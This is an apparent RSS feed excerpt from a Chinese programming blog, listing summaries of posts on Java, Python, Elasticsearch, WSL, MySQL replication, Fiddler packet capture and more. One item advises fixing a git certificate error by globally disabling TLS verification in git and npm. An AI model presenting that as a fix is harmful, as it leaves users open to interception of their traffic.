      <description>方法一 (推荐) 使用apache提供的工具类&#xA;import org.apache.commons.lang3.time.StopWatch; public class Test { public static void main(String[] args) { //初始化 StopWatch stopWatch = new StopWatch(); //开始时间统计 stopWatch.start(); method(); //结束时间统计 stopWatch.stop(); //运行时间ns System.out.println(stopWatch.getNanoTime()); //运行时间ms System.out.println(stopWatch.getTime()); } private static void method() { for (int i = 0; i &amp;lt; 1000000; i++) { Math.sqrt(1.44); } } } 方法二 这个是最原始的方法，来统计代码的运行时长了。&#xA;public class tmpTest { public static void main(String[] args) { //开始时间 long stime = System.currentTimeMillis(); Math.sqrt(1.44); //结束时间 long etime = System.</description>
    </item>
    <item>
      <title>No matching distribution found for tensorflow 解决方法</title>
      <link>https://bchobby.github.io/posts/f029db6d941c0ce1c89efad98d92d5f5/</link>
      <pubDate>Sun, 12 Jun 2022 08:34:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f029db6d941c0ce1c89efad98d92d5f5/</guid>
      <description>2020.8最新版本为TF2.3，安装时容易出现的问题是各软件程序版本不统一的问题，GPU版本对应表如下图所示，图片来源于Tensorflow 官网。&#xA;//--------------------------------------------------分割线------------------------------------------------------------------------&#xA;//--------------------------------------------------分割线------------------------------------------------------------------------&#xA;//--------------------------------------------------分割线------------------------------------------------------------------------&#xA;首先, 在命令窗口中查看自己的python版本&#xA;python --version 如出现python3.7.0（3.5以上版本均有可能出现这个问题），python版本过高导致TensorFlow不能正确安装。此时需要安装低版本的python，如python3.5&#xA;conda install python=3.5 报错：&#xA;PackagesNotFoundError: The following packages are not available from current channels: - pythons3.5 在等待安装完成后，重新查看自己的python版本，如显示python3.5.x，再进行TensorFlow的后续安装&#xA;参考链接 [1] keras|遇到no module name keras/keras.models/keras.layers/…怎么办？ 2018.8&#xA;[2] Windows安装TensorFlow方法，及错误解决方案 2018.12</description>
    </item>
    <item>
      <title>一文搞定http抓包工具Fiddler</title>
      <link>https://bchobby.github.io/posts/e79e7e1ffbca0ad5454e00b3afa819c3/</link>
      <pubDate>Sat, 11 Jun 2022 21:08:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e79e7e1ffbca0ad5454e00b3afa819c3/</guid>
      <description>什么是fiddler fiddler是一个强大好用的http抓包工具，它通过代理服务器的方式将http客户端（可以是浏览器，可以是安卓APP，或者苹果APP）的请求进行拦截处理，只要能够拦截到http请求，那么fiddler就可以做请求和响应报文打印、请求断点调试、等功能，更高级的用法可以通过自己编写脚本实现自动化测试平台能力，事实上fiddler功能上我们用的最多的其实还是它的抓包，通过抓包来分析和定位前后端对接和联调问题。&#xA;下载安装fiddler 1、直接从本人的阿里云盘下载免费的fiddler安装包（新手推荐方式）：&#xA;https://www.aliyundrive.com/s/HKvdb2DBq42&#xA;2、从fiddler官网下载免费的fiddler安装包（大牛推荐方式）：&#xA;fiddler官方地址：https://www.telerik.com/&#xA;从官网可以看出，fiddler已经发展为平台级解决方案，并且改名为：“Fiddler Everywhere”，同时也嗅到了商业味道，fiddler平台级解决方案属于商业化需要收费，““Fiddler Everywhere”相比旧版fiddler功能更加强大，但是这里我们不过多介绍它，好在的是fiddler老的版本目前仍然是免费的，现在就跟大家说说怎么在官网找到免费的老版本fiddler，并下载使用。&#xA;1、访问上方官网地址进入官网后，点击导航栏的All Products（所有产品）。&#xA;2、继续点击VIEW ALL PRODUCTS（查看所有产品）：&#xA;3、进入后点击Free tools（免费工具）&#xA;4、点击Fiddler Classic：&#xA;5、接下来就自己下载fiddler的需求填下表单，然后点击Download For Windows（免费的fiddler只支持windows版本的），等待下载完成即可。&#xA;6、双击FiddlerSetup.exe，点击I Agree：&#xA;7、选择安装目录，继续点击Install：&#xA;8、安装完成，点击Close关闭对话框即可：&#xA;fiddler浏览器抓包 接下来带大家操作下如何使用fiddler抓取浏览器的http请求包。&#xA;1、双击安装目录下的fiddler.exe（也可以发送到桌面）。&#xA;2、勾选Capture Traffic，表示开启抓包，再次点击表示关闭抓包，fiddler默认启动的代理服务器地址是127.0.0.1:8888。&#xA;3、打开浏览器，随便访问某个网站即可抓包，例如我们访问CSDN网站：https://www.csdn.net/，可以看到抓包列表抓取所有访问CSDN的包：&#xA;4、可以通过点击X图标，点击Remove all清空列表：&#xA;fiddler抓包原理 当勾选Capture Traffic后，fiddler会修改浏览器代理状态为开启，如果你用的谷歌浏览器，可以进入浏览器的（设置-&amp;gt;高级-&amp;gt;系统-&amp;gt;打开您计算机的代理设置）这个路径，或者直接访问：chrome://settings/system，然后分别点击两次Capture Traffic，每点击一次就进去该路径下观察开关会自动被打开和自动被关闭。打开后代理url设置的正是fiddler默认的代理地址：127.0.0.1:8888，这就是fiddler通过代理服务器实现抓包的核心原理。&#xA;fiddler导出抓包报文 右键某一行请求，点击Save（保存）-&amp;gt; Selected Session -&amp;gt; as Text即可将某个请求HTTP完整报文通过txt文件保存到电脑本地进行问题定位和分析。&#xA;fiddler查看抓包报文 点击右边区域的Inspectors，可以在工具里面查看请求报文信息：&#xA;fiddler抓取指定的请求 1、可以通过点击Rules，隐藏一些不重要的请求，例如图片请求，HTT握手连接请求，304读取浏览器本地缓存请求。&#xA;3、fiddler过滤只抓取指定ip的请求：&#xA;如上方式，还可以指定fiddler过滤隐藏指定ip的请求。&#xA;4、fiddler过滤符合某个正则表达式的请求：&#xA;fiddler断点调试功能 点击Rules -&amp;gt; Automatic Breakpoints -&amp;gt; Before Requests：&#xA;fiddler断点调试最重要的就是可以修改请求相关的报文参数，或请求头信息，具体修改方式如下：&#xA;fiddler安卓APP抓包 1、要求手机能够访问到fiddler所在的电脑的ip，一般做法就是让手机和电脑连接同一个网络。&#xA;2、点击fiddler的File -&amp;gt; Capture Traffic，开启fiddler的抓包代理功能。&#xA;3、点击Tools -&amp;gt; Options，点击HTTPS，勾选Capture HTTPS CONNESTs和Decrypt HTTPS traffic：</description>
    </item>
    <item>
      <title>Elasticsearch 向量搜索应用介绍</title>
      <link>https://bchobby.github.io/posts/42bfbbe4b50befa2ab166ebc54fdf4a1/</link>
      <pubDate>Sat, 11 Jun 2022 16:30:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42bfbbe4b50befa2ab166ebc54fdf4a1/</guid>
      <description>本文将会介绍 Elasticsearch 向量搜索的两种方式。&#xA;向量搜索 提到向量搜索，我想你一定想知道：&#xA;向量搜索是什么？&#xA;向量搜索的应用场景有哪些？&#xA;向量搜索与全文搜索有何不同？&#xA;ES 的全文搜索简而言之就是将文本进行分词，然后基于词通过 BM25 算法计算相关性得分，从而找到与搜索语句相似的文本，其本质上是一种 term-based（基于词）的搜索。&#xA;全文搜索的实际使用已经非常广泛，核心技术也非常成熟。但是，除了文本内容之外，现实生活中还有非常多其它的数据形式，例如：图片、音频、视频等等，我们能不能也对这些数据进行搜索呢？&#xA;答案是 Yes !&#xA;随着机器学习和人工智能等技术的发展，万物皆可 Embedding。换句话说就是，我们可以对文本、图片、音频、视频等等一切数据通过 Embedding 相关技术将其转换成特征向量，而一旦向量有了，向量搜索的需求随之也越发强烈，向量搜索的应用场景也变得一望无际、充满想象力。&#xA;图片来源 damo.alibaba.com/events/112&#xA;ES 向量搜索说明 ES 向量搜索目前有两种方式:&#xA;script_score&#xA;_knn_search&#xA;script_score 精确搜索 ES 7.6 版本对新增的字段类型 dense_vector 确认了稳定性保证，这个字段类型就是用来表示向量数据的。&#xA;数据建模示例：&#xA;PUT my-index { &#34;mappings&#34;: { &#34;properties&#34;: { &#34;my_vector&#34;: { &#34;type&#34;: &#34;dense_vector&#34;, &#34;dims&#34;: 128 }, &#34;my_text&#34; : { &#34;type&#34; : &#34;keyword&#34; } } } } 如上图所示，我们在索引中建立了一个 dims 维度为 128 的向量数据字段。&#xA;script_score 搜索示例：&#xA;{ &#34;</description>
    </item>
    <item>
      <title>cms 和 g1的主要区别</title>
      <link>https://bchobby.github.io/posts/4716ef73c571082b2de8f19aafd6def0/</link>
      <pubDate>Sat, 11 Jun 2022 12:01:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4716ef73c571082b2de8f19aafd6def0/</guid>
      <description>cms和g1的主要区别&#xA;1.cms是内存分布式分代连续的，也就是新生代一块连续的区间，年老代一块连续的区间，而g1是把堆分成了2048个region，每个区域region可以作为新生代也可以作为年老代，并且新生代的大小(也即region的个数)是根据期望的暂停时间动态调整的.&#xA;2.cms中大对象是直接分配到年老代的，而且ygc是没法回收年老代中的大对象的，必须要通过cms gc才能回收，而g1中大对象是直接分配到Humongous大对象区域的(不过该区域一般认为是年老代)，这里g1比较好的一点是ygc的时候就可以回收掉没有引用的大对象了，而不用等到mixed gc再回收&#xA;3.cms的主要步骤有：初始标识(stw)，并发标识，重新标识(stw)，并发清理（cms的清理阶段是和应用线程并发进行的，使用的是标记清除算法，会产生大量的内存碎片）； g1的mixed gc中的全局并发标识阶段的主要步骤有：初始标识(stw)，并发标识，重新标识(stw)，初始清理(stw)，并发清理, 混合gc中的初始清理+并发清理作用只是回收完全没有引用的region，然后计算要回收的region中垃圾的占比，排好序后为后面混合gc的时候加入CSet回收集中做好准备,比如为后面的8次gc回收做好计划，如每次回收把哪些region加入到cset集合中，真正的回收操作是紧跟着的mixed gc的evacuation阶段,在evacuation阶段中会分8次回收全局并发标识阶段标记的Region，使用的是标记整理的算法，不会产生内存碎片(但是是stw的).&#xA;4.g1比cms会使用更多的内存和cpu负载，所以更适合用于大堆的应用</description>
    </item>
    <item>
      <title>wsl的安装</title>
      <link>https://bchobby.github.io/posts/2c87e44945d490c56ad18a0c16cfc280/</link>
      <pubDate>Sat, 11 Jun 2022 00:17:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c87e44945d490c56ad18a0c16cfc280/</guid>
      <description>文章目录 wsl的安装一.启动wsl功能二.子系统的下载三 .子系统的安装四.wsl的迁移五.更换为ubuntu国内源六.软件更新七.安装必要开发工具关于图形化界面的安装将会在近期更新 wsl的安装 所需条件&#xA;window 专业版 2004 及更高版本&#xA;一.启动wsl功能 首先进行如下操作&#xA;点击控制面板&#xA;首先启动hype-v服务&#xA;然后wsl服务&#xA;重启更新&#xA;二.子系统的下载 搜索linux会发现很多发行版本&#xA;ubuntu是资源占有最小的推荐安装&#xA;三 .子系统的安装 下载wsl2 linux内核升级包&#xA;下载地址&#xA;以管理员身份运行powershell&#xA;wsl --set-default-version 2 打开下载的wsl&#xA;根据提示完成最小化安装&#xA;四.wsl的迁移 由于wsl默认安装在c盘，因此我们需要进行迁移&#xA;1关闭wsl&#xA;wsl --shutdown 2将需要迁移的Linux，进行导出&#xA;wsl --export Ubuntu E:\export.tar //具体为你的wsl地址 3 卸载原有wsl&#xA;wsl --unregister Ubuntu 4 导入新地址&#xA;wsl --import Ubuntu D:\export\ D:\export.tar --version 2 五.更换为ubuntu国内源 先查看系统版本&#xA;源地址&#xA;vi /etc/apt/sources.list 将原有源#注释或删除并替换复制的国内源&#xA;六.软件更新 apt-get update 七.安装必要开发工具 sudo apt-get install build-essential ! build-essential 包括gcc 等编译器</description>
    </item>
    <item>
      <title>Vue使用vant上传图片（点击按钮弹框上传图片）</title>
      <link>https://bchobby.github.io/posts/1d415f7e60b3e21fd750c01e188e91e8/</link>
      <pubDate>Fri, 10 Jun 2022 22:45:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d415f7e60b3e21fd750c01e188e91e8/</guid>
      <description>前言：假期在家没事干，写个小小的项目吧，写的过程中遇到了对我来说是个难题的图片上传，看了很多的博客，琢磨了半天终于写出来了，咱就在这里浅浅的总结一下吧。&#xA;先看下效果吧~~&#xA;html部分&#xA;点击弹框，具体请参考Vant中Popup组件&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;box&#34;&amp;gt; &amp;lt;van-cell is-link @click=&#34;show = true&#34; class=&#34;btn box_btn&#34;&amp;gt;点击弹框&amp;lt;/van-cell&amp;gt; &amp;lt;van-popup v-model:show=&#34;show&#34; round&amp;gt; &amp;lt;div class=&#34;box-content&#34;&amp;gt; &amp;lt;p class=&#34;title&#34;&amp;gt;标题&amp;lt;/p&amp;gt; &amp;lt;van-form @submit=&#34;onSubmit&#34;&amp;gt; &amp;lt;van-cell-group inset&amp;gt; &amp;lt;van-field v-model=&#34;contenttext&#34; name=&#34;输入文字&#34; placeholder=&#34;请输入文字&#34; :rules=&#34;[{ required: true, message: &#39;请输入输入文字&#39; }]&#34; /&amp;gt; &amp;lt;div class=&#34;uploader&#34;&amp;gt; &amp;lt;van-uploader :after-read=&#34;afterRead&#34; v-model=&#34;fileList&#34; multiple :max-count=&#34;1&#34; :max-size=&#34;1080 * 2400&#34; @oversize=&#34;onOversize&#34; /&amp;gt; &amp;lt;!-- 文件预览：v-model=&#34;fileList&#34; multiple 限制上传数量：:max-count=&#34;1&#34; 限制上传大小：:max-size=&#34;500 * 1024&#34; @oversize=&#34;onOversize&#34; --&amp;gt; &amp;lt;p&amp;gt;请上传二维码&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/van-cell-group&amp;gt; &amp;lt;div class=&#34;submit_btn&#34;&amp;gt; &amp;lt;van-button round block type=&#34;primary&#34; @click=&#34;show = false&#34;&amp;gt; 取消 &amp;lt;/van-button&amp;gt; &amp;lt;van-button round block type=&#34;</description>
    </item>
    <item>
      <title>Python - python处理excel（openpyxl）</title>
      <link>https://bchobby.github.io/posts/118a50c5e939f28e95f265be063b2b62/</link>
      <pubDate>Fri, 10 Jun 2022 21:02:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/118a50c5e939f28e95f265be063b2b62/</guid>
      <description>一、安装第三方模块 openpyxl是一个用于处理xlsx格式Excel表格文件的第三方python库，其支持Excel表格绝大多数基本操作。&#xA;首先要下载名为&#34;openpyxl&#34;的模块，然后import该模块&#xA;安装方法 ：1.第一种方法：按win+r----&amp;gt; 输入cmd—&amp;gt;输入以下命令即可&#xA;pip install openpyxl 2.第二种方法：打开pycharm，点击File,再点击settings，点击settings之后再点击project下面的project Interpreter，在界面中点击+号，直接搜索openpyxl模块，直接安装即可。&#xA;二、excel表内容 1.工作薄(workbook):一个EXCEL文件就称为一个工作薄,一个工作薄中可以包含若干张工作表。&#xA;2.工作表(sheet):工作薄中的每一张表格称为工作表,每张工作表都有一个标签,默认为sheet1\sheet2\sheet3来命名，(一个工作 薄默认为由3个工作表组成)&#xA;4.单元格(cell): 工作表的每一个格称为单元格&#xA;5.行(row): 工作表中的每一行行首数字(1、2、3、)称为行标题;一张工作表最多有65536行&#xA;6.列(column): 列标题:工作表中每一列列首的字母(A、B、C)称为列标题;一张工作表最多有256列&#xA;三、操作excel 1、工作簿&#xA;创建工作簿&#xA;工作簿=openpyxl.Workbook(&#39;文件名称.xlsx&#39;) 工作簿.save(路径) 打开工作簿&#xA;工作簿 =openpyxl.load_workbook(&#39;文件名称.xlsx&#39;) 工作簿属性作用&#xA;wb = openpyxl.load_workbook(&#39;文件名称.xlsx&#39;) print(wb.sheetnames) print(wb.properties) print(wb.active) print(wb.encoding) print(wb.read_only) print(wb.data_only) print(wb.worksheets) 2、工作表&#xA;工作表属性作用&#xA;单元格属性作用&#xA;wb = openpyxl.load_workbook(&#39;文件.xlsx&#39;) ##选择要操作的工作表， 返回工作表对象 sheet = wb[&#39;工作表名称&#39;] #获取工作表的名称 print(sheet.title) # 获取工作表中行和列的最值 print(sheet.max_row) print(sheet.max_column) print(sheet.min_row) print(sheet.min_column) ##修改表的名称 sheet.title = &#39;新名称&#39; print(sheet.title) # 返回指定行指定列的单元格信息 print(sheet.cell(row=1, column=2).value) cell = sheet[&#39;B1&#39;] print(cell) print(cell.</description>
    </item>
    <item>
      <title>利用Nodejs实现爬虫</title>
      <link>https://bchobby.github.io/posts/aa1f701c7f89b872f12a604e8bba75b3/</link>
      <pubDate>Fri, 10 Jun 2022 18:54:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa1f701c7f89b872f12a604e8bba75b3/</guid>
      <description>文章目录 前言&#xA;一.工具安装&#xA;二、引入模块&#xA;三.开始爬虫&#xA;三.使用数据库&#xA;四.查询网站&#xA;五.拓展&#xA;总结&#xA;前言 本学期期中作业是 新闻爬虫及爬取结果的查询网站，作为只有c语言基础的小菜鸟，刚看到要求时还是一脸懵，通过半个学期的学习，借助老师的代码，撸起袖子加油干，跌跌撞撞地也实现了爬虫。先来看看啥是爬虫，爬虫就是个自动获取网络内容的程序，又称为网页蜘蛛，网络机器人......（来自百度百科...）ok 话不多说 现在开始实现新闻爬虫以及爬取结果的查询网站。&#xA;一.工具安装 1.Nodejs&#xA;百度搜索nodejs进入官网&#xA;点击下载，找到自己需要的版本&#xA;按照提示一路next 安装完成 在cmd中输入node -v可以查看安装版本&#xA;2.编码工具VsCode&#xA;这里因为以前写C/C++时下载过VScode所以稍微下个插件直接用了，也可以下载WebStorm，Sublime等等&#xA;WebStorm下载地址： WebStorm: The Smartest JavaScript IDE, by JetBrains&#xA;Sublime下载地址： Sublime Text - Text Editing, Done Right&#xA;VScode是一个轻量且强大的跨平台开源代码编辑器（IDE） 打开VScode应用商店下载nodejs插件&#xA;3.安装MySQL&#xA;下载地址：MySQL :: Download MySQL Community Server&#xA;数据库 根据自己需要的版本 下载 后面会详细描述&#xA;要下载的工具下载的差不多了，下面正式开始爬虫&#xA;二、引入模块 这里先看一下npm这个东西&#xA;npm就是Nodejs下的包管理器&#xA;允许用户从NPM服务器下载别人编写的第三方包到本地使用。允许用户从NPM服务器下载并安装别人编写的命令行程序到本地使用。允许用户将自己编写的包或命令行程序上传到NPM服务器供别人使用 但是，npm的服务器位于国外可能会影响安装 所以淘宝团队做了国内镜像cnpm，与官方同步频率目前为 10分钟 一次以保证尽量与官方服务同步。&#xA;安装方法：&#xA;安装：命令提示符执行&#xA;npm install cnpm -g --registry=https://registry.npm.taobao.orgcnpm -v 来测试是否成功安装 通过改变地址来使用淘宝镜像</description>
    </item>
    <item>
      <title>关于keil中，while循环条件不成立却无法跳出的问题</title>
      <link>https://bchobby.github.io/posts/1a99a726ddad546fef755699d5303668/</link>
      <pubDate>Fri, 10 Jun 2022 17:25:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a99a726ddad546fef755699d5303668/</guid>
      <description>如下图中的while循环&#xA;其中变量 如下定义&#xA;static uint8_t nb_uart_tx_done = 0; 且在中断中将其赋值1，发现当中断中已经赋值，这个while也跳转不出来，如下是仿真观察到的变量和while不跳出情形&#xA;查阅资料发现是这么个情况：&#xA;在进入循环的时候，实际上是将A从内存加载到寄存器里面运行的，在整个循环中，A这个变量都只是在读取寄存器里面的值。&#xA;而当进入中断的时候，中断里面会从内存加载A到寄存器，修改完之后又存到内存里，然后退出中断，再回到循环里面。但这个时候循环里使用的A并没有重新从内存加载A这个变量，所以一直都在循环里面。&#xA;解决方法：&#xA;nb_uart_tx_done 变量的定义前加上volatile，详细理解自行查找volatile的用法。&#xA;static volatile uint8_t nb_uart_tx_done = 0; 如此一来就不会有前面的加载到寄存器的问题了&#xA;一般说来，volatile用在如下的几个地方：&#xA;1、中断服务程序中修改的供其它程序检测的变量需要加volatile；&#xA;2、多任务环境下各任务间共享的标志应该加volatile；&#xA;3、存储器映射的硬件寄存器通常也要加volatile说明，因为每次对它的读写都可能有不同意义；另外，以上这几种情况经常还要同时考虑数据的完整性（相互关联的几个标志读了一半被打断了重写），在1中可以通过关中断来实现，2 中可以禁止任务调度，3中则只能依靠硬件的良好设计了。</description>
    </item>
    <item>
      <title>记录多权限判断</title>
      <link>https://bchobby.github.io/posts/93afe6dfce27a48c27282a178821a514/</link>
      <pubDate>Fri, 10 Jun 2022 15:16:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93afe6dfce27a48c27282a178821a514/</guid>
      <description> 2^2+2^3+2^4 = 28 次方当作类型，比如2是添加，3是修改，4是删除&#xA;对应的数据转换为二进制 ，然后进行＆（位运算，例如相对应位都是1，则结果为1，否则为0）&#xA;/** * 是否有权限发布投票 * * @param currentType 当前类型 * @return */ public boolean isPermission(int currentType) { if (getBeanInfo().getUser() != null) { int permission = 28; int currentPow = (int) Math.pow(2, currentType); return currentPow == (permission &amp;amp; currentPow); } return false; } </description>
    </item>
    <item>
      <title>MYSQL8.0主从复制SLAVE搭建</title>
      <link>https://bchobby.github.io/posts/c8c078cb50d4ed419836e0e314dc7c15/</link>
      <pubDate>Fri, 10 Jun 2022 14:15:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8c078cb50d4ed419836e0e314dc7c15/</guid>
      <description>环境准备：两个mysql服务器分别运行以下命令：&#xA;show VARIABLES like &#39;log_bin&#39; 出现以下信息表示支持&#xA;如果value字段是false,需要配置bin_log日志开启&#xA;linux下 找到my.cnf在[mysqld]下加入以下配置&#xA;log-bin=mysql-bin #主从库此值不能相等 从库 server-id=2 server-id=1 windos下.exe安装的mysql&#xA;找到my.ini配置相同配置&#xA;重启mysql服务&#xA;linux: service mysql restart&#xA;docker: docker restart 容器id&#xA;windos: 右键 重新启动&#xA;再次运行&#xA;show VARIABLES like &#39;log_bin&#39;&#xA;完成以上操作后&#xA;查看mysql 端口是否开放&#xA;先看防火墙是否开启&#xA;systemctl status firewalld 以上表示防火墙关闭，跳过端口开放过程&#xA;lsof -i:端口号&#xA;lsof -i:3306 以上表示端口开放&#xA;上面命令执行不了的 可以运行下面的命令&#xA;firewall-cmd --query-port=3306/tcp 打开端口号&#xA;firewall-cmd --add-port=3306/tcp --permanent 重启一下防火墙&#xA;firewall-cmd --reload 环境准备好后 开始主从搭建&#xA;一、在主服务上创建一个slave用户&#xA;根据自己的mysql版本创建&#xA;mysql 5.7 默认身份验证插件default_authentication_plugin是：mysql_native_password&#xA;mysql 8.0 默认身份验证插件default_authentication_plugin是：caching_sha2_password&#xA;CREATE USER &#39;slave&#39;@&#39;ip地址&#39; IDENTIFIED WITH caching_sha2_password BY &#39;password&#39;; CREATE USER &#39;slave&#39;@&#39;ip地址&#39; IDENTIFIED WITH mysql_native_password BY &#39;password&#39;; 以防万一这里可以执行以下刷新权限</description>
    </item>
    <item>
      <title>git中的SSL certificate problem: unable to get local issuer certificate错误的解决办法</title>
      <link>https://bchobby.github.io/posts/e4624c709c2c7850bebab09a1ede9868/</link>
      <pubDate>Fri, 10 Jun 2022 14:10:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4624c709c2c7850bebab09a1ede9868/</guid>
      <description> git中的SSL certificate problem: unable to get local issuer certificate错误的解决办法 我们在使用git初始化一个项目时，尤其是通过git submodule update --init --remote初始化子模块时，可能会遇到下面这个错误：&#xA;fatal: unable to access &#39;https://myserver.com/gogs/user1/myapp/&#39;: SSL certificate problem: unable to get local issuer certificate 这是由于当你通过HTTPS访问Git远程仓库的时候，如果服务器上的SSL证书未经过第三方机构认证，git就会报错。原因是因为未知的没有签署过的证书意味着可能存在很大的风险。解决办法就是通过下面的命令将git中的sslverify关掉：&#xA;git config --global http.sslverify false 上面这行命令的影响范围是系统当前用户，如果要设置为全局所有用户，可以改成这样：&#xA;git config --system http.sslverify false 如果只是想针对当前仓库进行设置，可以在需要修改的仓库目录下执行：&#xA;git config http.sslverify false 如果你的仓库中存在嵌套的git子模块（就是子模块中又引用了子模块），在进行初始化时，仍然有可能遇到self signed certificate in certificate chain的错误，此时可以通过执行下面的命令来解决：&#xA;npm config set strict-ssl false </description>
    </item>
    <item>
      <title>java 自定义表达式 表达式解析 QLExpress使用</title>
      <link>https://bchobby.github.io/posts/43dc746f4b81c5b0b081c68ef2bbc3db/</link>
      <pubDate>Fri, 10 Jun 2022 11:17:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43dc746f4b81c5b0b081c68ef2bbc3db/</guid>
      <description>具体使用语法规则可以查看下面地址中文档说明： QLExpress：https://github.com/alibaba/QLExpress&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;QLExpress&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.2.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;fastjson&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.36&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; import com.alibaba.fastjson.JSONObject; import com.ql.util.express.DefaultContext; import com.ql.util.express.ExpressRunner; import org.apache.commons.lang3.StringUtils; public class Application { public static void main(String[] args) throws Exception { /** 简单运算表达式 */ ExpressRunner runner_1 = new ExpressRunner(); DefaultContext&amp;lt;String, Object&amp;gt; context_1 = new DefaultContext&amp;lt;String, Object&amp;gt;(); context_1.put(&#34;a&#34;, 1); context_1.put(&#34;b&#34;, 2); context_1.put(&#34;c&#34;, 3); String express_1 = &#34;a + b * c&#34;; Object result_1 = runner_1.execute(express_1, context_1, null, true, false); System.</description>
    </item>
    <item>
      <title>5 最长回文子串（区间 dp）</title>
      <link>https://bchobby.github.io/posts/b6ecfecf0a1497f16698fe76cd949f9f/</link>
      <pubDate>Thu, 09 Jun 2022 20:11:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6ecfecf0a1497f16698fe76cd949f9f/</guid>
      <description>1. 问题描述：&#xA;给你一个字符串 s，找到 s 中最长的回文子串。&#xA;示例 1：&#xA;输入：s = &#34;babad&#34;&#xA;输出：&#34;bab&#34;&#xA;解释：&#34;aba&#34; 同样是符合题意的答案。&#xA;示例 2：&#xA;输入：s = &#34;cbbd&#34;&#xA;输出：&#34;bb&#34; 提示：&#xA;1 &amp;lt;= s.length &amp;lt;= 1000&#xA;s 仅由数字和英文字母组成&#xA;来源：力扣（LeetCode）&#xA;链接：https://leetcode.cn/problems/longest-palindromic-substring/&#xA;2. 思路分析：&#xA;这道题目类似于最长回文子序列的问题，而子串的限制要求字符串是连续的，但是也是类似的思路，因为同样是求解一个区间中满足某个限制的问题，所以可以使用区间 dp 来解决，只是在状态计算的时候会有些不一样，只需要细微调整一下即可，对于长度为 1 的子串那么回文串的长度为 1；对于长度为 2 的子串判断 s[i] == s[j]，相等则为 2；长度大于 2 的子串判断 s[i] == s[j] 并且 f(i + 1，j - 1) 大于 0 说明 s[i + 1:j - 1] 才是回文串。&#xA;3. 代码如下：&#xA;python（超时）：&#xA;class Solution: def longestPalindrome(self, s: str) -&amp;gt; str: n = len(s) f = [[0] * (n + 10) for i in range(n + 10)] res = &#34;</description>
    </item>
    <item>
      <title>【已解决】centos 编译内核报错记录</title>
      <link>https://bchobby.github.io/posts/8f8cfbdf12f4b6a422b3871510e8f345/</link>
      <pubDate>Thu, 09 Jun 2022 18:03:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f8cfbdf12f4b6a422b3871510e8f345/</guid>
      <description>Cannot generate ORC metadata for CONFIG_UNWINDER_ORC=y, please install libelf-dev, libelf-devel or elfutils-libelf-devel 错误信息 解决方法 centos需要下载的是提示中的最后一个&#xA;yum install elfutils-libelf-devel unable to initialize decompress status for section .debug_info 错误信息： 解决方法： 更新gcc到最新版&#xA;yum -y install centos-release-scl yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils scl enable devtoolset-9 bash 编译成功 显示 我这里并没有像其他人那样显示done，我就反复make install了好几次，然后还是这样，就reboot了&#xA;用uname-a查看，显示你编译的内核版本&#xA;说明成功了</description>
    </item>
    <item>
      <title>VS2015&#43;PCL1.8.0配置保姆级教程</title>
      <link>https://bchobby.github.io/posts/774b2c4974994a10d6864776827641e3/</link>
      <pubDate>Thu, 09 Jun 2022 16:55:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/774b2c4974994a10d6864776827641e3/</guid>
      <description>在刚接触PCL时，配置PCL环境应该是最头疼的事情了。&#xA;作为一名新手小白，配置PCL环境过程中遇到了很多的坑，浪费了我很多时间。经过我多次的尝试，终于能够很快并且准确无误的配置完成PCL环境。&#xA;当然，有的方法比我的可能会更好，我也在不断的学习，希望大家都能够多多进步！&#xA;好了，话不多说，我们开始吧！&#xA;在开始之前，先讲一下，本文一共分为三个步骤：资料准备、安装程序和配置环境。&#xA;希望读者能够先从头到尾阅读完毕，再回过头来开始配置环境，这样可以做到心中有数，不至于出现意想不到的问题。&#xA;一、资料准备 1、VS2015版本 VS下载链接：https://visualstudio.microsoft.com/zh-hans/downloads/&#xA;2、OpenGL库 OpenGL下载链接：http://链接：https://pan.baidu.com/s/1uJJOOOZ0lH_a7wSFMoo1Fg 提取码：ga8d&#xA;OpenGL库有的同学会用到，所以在这里给出链接，自行取用，但我没写配置过程，自行搜索吧，超简单。&#xA;3、PCL1.8.0安装程序 PCL下载链接：http://链接：https://pan.baidu.com/s/1NPri0xBFmxnzszHgAQT2fw 提取码：ozmp&#xA;二、安装程序 1、PCL安装 PCL整个安装过程需要注意以下三点，其它默认即可（我是安装在C盘）：&#xA;（1）安装路径不要有中文字符；&#xA;（2）安装时，勾选上“Add PCL to the system PATH for all users”；&#xA;（3）安装时，会提示安装OpenNI，建议安装在PCL安装路径的3rdParty下的OpenNI2文件夹下；&#xA;2、配置pdb文件 安装完成之后，将下载好的PCL-1.8.0-AllInOne-msvc2015-win64-pdb解压，将pdb文件夹中的所有pdb文件拷贝到PCL 安装路径下的bin文件夹中。&#xA;三、配置环境 1、系统环境变量配置 （1）右键“我的电脑”或者“此电脑”等，点击 